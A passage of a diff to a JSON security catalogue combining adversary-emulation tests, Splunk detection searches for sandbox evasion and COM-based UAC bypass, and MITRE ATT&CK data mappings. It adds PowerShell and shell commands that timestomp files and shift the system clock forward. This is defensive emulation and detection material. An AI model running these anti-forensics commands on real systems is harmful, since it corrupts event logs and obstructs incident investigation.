\"\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.CreationTime = \"01/01/1970 00:00:00\" }\n", "Get-ChildItem \"\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.LastWriteTime = \"01/01/1970 00:00:00\" }\n", "Get-ChildItem \"\\..\\ExternalPayloads\\T1551.006_timestomp.txt\" | % { $_.LastAccessTime = \"01/01/1970 00:00:00\" }\n", "import-module \"\\..\\ExternalPayloads\\timestomp.ps1\"\ntimestomp -dest \"\\..\\ExternalPayloads\\kxwn.lock\"\n", - "SetFile -m 01/01/1970 /tmp/T1070.006-modified.txt\n" + "SetFile -m 01/01/1970 /tmp/T1070.006-modified.txt\n", + "try{ \n Set-Date -Date (Get-Date).AddDays(3)\n Add-Content \"$env:APPDATA\\slipDays.bak\" 3\n}\ncatch {exit 1}\n" ], "commands": [], "queries": [], @@ -298824,15 +210442,8 @@ "default": "/bin/sh" } }, - "dependencies": [ - { - "description": "The file must exist in order to be timestomped\n", - "prereq_command": "test -e #{target_file_path} && exit 0 || exit 1\n", - "get_prereq_command": "echo 'T1070.006 reference file timestomp test' > #{target_file_path}\n" - } - ], "executor": { - "command": "touch -acmr #{reference_file_path} #{target_file_path}\n", + "command": "touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n", "cleanup_command": "rm -f #{target_file_path}\n", "name": "sh" } @@ -298996,6 +210607,27 @@ "command": "SetFile -m #{target_date} #{target_filename}\n", "cleanup_command": "rm -f #{target_filename}\n" } + }, + { + "name": "Event Log Manipulations- Time slipping via Powershell", + "auto_generated_guid": "7bcf83bf-f5ef-425c-9d9a-71618ad9ed12", + "description": "Changes the system time on the computer to a time that you specify. It involves altering the system\u2019s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. \nReference - \nhttps://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4", + "supported_platforms": [ + "windows" + ], + "input_arguments": { + "days_to_modify": { + "description": "Value to which system time will update", + "type": "string", + "default": "3" + } + }, + "executor": { + "command": "try{ \n Set-Date -Date (Get-Date).AddDays(#{days_to_modify})\n Add-Content \"$env:APPDATA\\slipDays.bak\" #{days_to_modify}\n}\ncatch {exit 1}\n", + "cleanup_command": "if(Test-Path \"$env:APPDATA\\slipDays.bak\" ){\n foreach($line in (get-content $env:APPDATA\\slipDays.bak)){\n Set-Date -Date (Get-Date).AddDays(-$line)\n }\n rm \"$env:APPDATA\\slipDays.bak\"\n}\n", + "name": "powershell", + "elevation_required": true + } } ] } @@ -301811,181 +213443,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Ping Sleep Batch Command", - "description": "The following analytic identifies the execution of ping sleep batch commands. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process command-line details. This activity is significant as it indicates an attempt to delay malicious code execution, potentially evading detection or sandbox analysis. If confirmed malicious, this technique allows attackers to bypass security measures, making it harder to detect and analyze their activities, thereby increasing the risk of prolonged unauthorized access and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_ping` (Processes.parent_process = \"*ping*\" Processes.parent_process = *-n* Processes.parent_process=\"* Nul*\"Processes.parent_process=\"*>*\") OR (Processes.process = \"*ping*\" Processes.process = *-n* Processes.process=\"* Nul*\"Processes.process=\"*>*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `ping_sleep_batch_command_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Data Destruction", - "Warzone RAT", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious $process$ commandline run in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - }, - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Time Based Evasion", - "description": "The following analytic detects potentially malicious processes that initiate a ping delay using an invalid IP address. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"ping 0 -n\". This behavior is significant as it is commonly used by malware like NJRAT to introduce time delays for evasion tactics, such as delaying self-deletion. If confirmed malicious, this activity could indicate an active infection attempting to evade detection, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"ping.exe\" Processes.parent_process = \"* ping 0 -n *\" OR Processes.process = \"* ping 0 -n *\" by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_time_based_evasion_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ did a suspicious ping to invalid IP address on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - }, - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Time Based Evasion via Choice Exec", - "description": "The following analytic detects the use of choice.exe in batch files as a delay tactic, a technique observed in SnakeKeylogger malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential time-based evasion techniques used by malware to avoid detection. If confirmed malicious, this behavior could allow attackers to execute code stealthily, delete malicious files, and persist on compromised hosts, making it crucial for SOC analysts to investigate promptly.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name =choice.exe Processes.process = \"*/T*\" Processes.process = \"*/N*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_time_based_evasion_via_choice_exec_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ has a choice time delay commandline on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - } - ] - } } ], "external_reference": [ @@ -302924,393 +214381,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "connected from", - "target_data_element": "port" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "connected from", - "target_data_element": "host" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "ip" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "port" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected to", - "target_data_element": "host" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "ip" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "port" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "user", - "relationship": "connected from", - "target_data_element": "host" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted to bind on", - "target_data_element": "port" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "bound to", - "target_data_element": "port" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", - "target_data_element": "ip" - }, - { - "technique_id": "T1218.003", - "x_mitre_is_subtechnique": true, - "technique": "CMSTP", - "tactic": [ - "defense-evasion" - ], - "platform": [ - "Windows" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network connection creation", - "type": "activity", - "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", + "source_data_element": "process", + "relationship": "connected from", "target_data_element": "port" }, { @@ -303344,9 +214416,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "permitted listener on", - "target_data_element": "process" + "source_data_element": "process", + "relationship": "connected from", + "target_data_element": "host" }, { "technique_id": "T1218.003", @@ -303379,9 +214451,9 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "attempted to listen on", - "target_data_element": "port" + "source_data_element": "user", + "relationship": "connected to", + "target_data_element": "ip" }, { "technique_id": "T1218.003", @@ -303414,8 +214486,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "process", - "relationship": "listened on", + "source_data_element": "user", + "relationship": "connected to", "target_data_element": "port" }, { @@ -303449,8 +214521,43 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "blocked port bind on", + "source_data_element": "user", + "relationship": "connected to", + "target_data_element": "host" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "ip" }, { @@ -303484,8 +214591,8 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "blocked port bind on", + "source_data_element": "user", + "relationship": "connected from", "target_data_element": "port" }, { @@ -303519,9 +214626,79 @@ "data_component": "network connection creation", "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", - "source_data_element": "host", - "relationship": "blocked port bind on", - "target_data_element": "process" + "source_data_element": "user", + "relationship": "connected from", + "target_data_element": "host" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "attempted to bind on", + "target_data_element": "port" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "bound to", + "target_data_element": "port" }, { "technique_id": "T1218.003", @@ -303555,7 +214732,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "permitted listener on", "target_data_element": "ip" }, { @@ -303590,7 +214767,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "permitted listener on", "target_data_element": "port" }, { @@ -303625,9 +214802,79 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection to", + "relationship": "permitted listener on", "target_data_element": "process" }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "attempted to listen on", + "target_data_element": "port" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "process", + "relationship": "listened on", + "target_data_element": "port" + }, { "technique_id": "T1218.003", "x_mitre_is_subtechnique": true, @@ -303660,7 +214907,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked port bind on", "target_data_element": "ip" }, { @@ -303695,7 +214942,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked port bind on", "target_data_element": "port" }, { @@ -303730,7 +214977,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked connection from", + "relationship": "blocked port bind on", "target_data_element": "process" }, { @@ -303835,7 +215082,42 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection to", + "target_data_element": "process" + }, + { + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection from", "target_data_element": "ip" }, { @@ -303870,7 +215152,7 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", "target_data_element": "port" }, { @@ -303905,188 +215187,183 @@ "type": "activity", "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", "source_data_element": "host", - "relationship": "blocked listener on", + "relationship": "blocked connection from", "target_data_element": "process" }, { - "name": "CMLUA Or CMSTPLUA UAC Bypass", - "description": "The following analytic detects the use of COM objects like CMLUA or CMSTPLUA to bypass User Account Control (UAC). It leverages Sysmon EventCode 7 to identify the loading of specific DLLs (CMLUA.dll, CMSTPLUA.dll, CMLUAUTIL.dll) by processes not typically associated with these libraries. This activity is significant as it indicates an attempt to gain elevated privileges, a common tactic used by ransomware adversaries. If confirmed malicious, this could allow attackers to execute code with administrative rights, leading to potential system compromise and further malicious activities.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\CMLUA.dll\", \"*\\\\CMSTPLUA.dll\", \"*\\\\CMLUAUTIL.dll\") NOT(process_name IN(\"CMSTP.exe\", \"CMMGR32.exe\")) NOT(Image IN(\"*\\\\windows\\\\*\", \"*\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by dest Image ImageLoaded process_name EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmlua_or_cmstplua_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by a non-standard application on endpoint $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection to", + "target_data_element": "ip" }, { - "name": "UAC Bypass With Colorui COM Object", - "description": "The following analytic detects a potential UAC bypass using the colorui.dll COM Object. It leverages Sysmon EventCode 7 to identify instances where colorui.dll is loaded by a process other than colorcpl.exe, excluding common system directories. This activity is significant because UAC bypass techniques are often used by malware, such as LockBit ransomware, to gain elevated privileges without user consent. If confirmed malicious, this could allow an attacker to execute code with higher privileges, leading to further system compromise and persistence within the environment.", - "search": "`sysmon` EventCode=7 ImageLoaded=\"*\\\\colorui.dll\" process_name != \"colorcpl.exe\" NOT(Image IN(\"*\\\\windows\\\\*\", \"*\\\\program files*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest user_id EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uac_bypass_with_colorui_com_object_filter`", - "tags": { - "analytic_story": [ - "LockBit Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "ImageLoaded", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by a non-standard application on endpoint $dest$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.003", - "mitre_attack_technique": "CMSTP", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Cobalt Group", - "MuddyWater" - ] - } - ] - } + "technique_id": "T1218.003", + "x_mitre_is_subtechnique": true, + "technique": "CMSTP", + "tactic": [ + "defense-evasion" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network connection creation", + "type": "activity", + "description": "Information about the creation of a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "host", + "relationship": "blocked connection to", + "target_data_element": "port" }, { - "name": "Wbemprox COM Object Execution", - "description": "The following analytic detects a suspicious process loading a COM object from wbemprox.dll, fastprox.dll, or wbemcomn.dll. It leverages Sysmon EventCode 7 to identify instances where these DLLs are loaded by processes not typically associated with them, excluding known legitimate processes and directories. This activity is significant as it may indicate an attempt by threat actors to abuse COM objects for privilege escalation or evasion of detection mechanisms. If confirmed malicious, this could allow attackers to gain elevated privileges or maintain persistence within the environment, posing a significant security risk.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\fastprox.dll\", \"*\\\\wbemprox.dll\", \"*\\\\wbemcomn.dll\") NOT (process_name IN (\"wmiprvse.exe\", \"WmiApSrv.exe\", 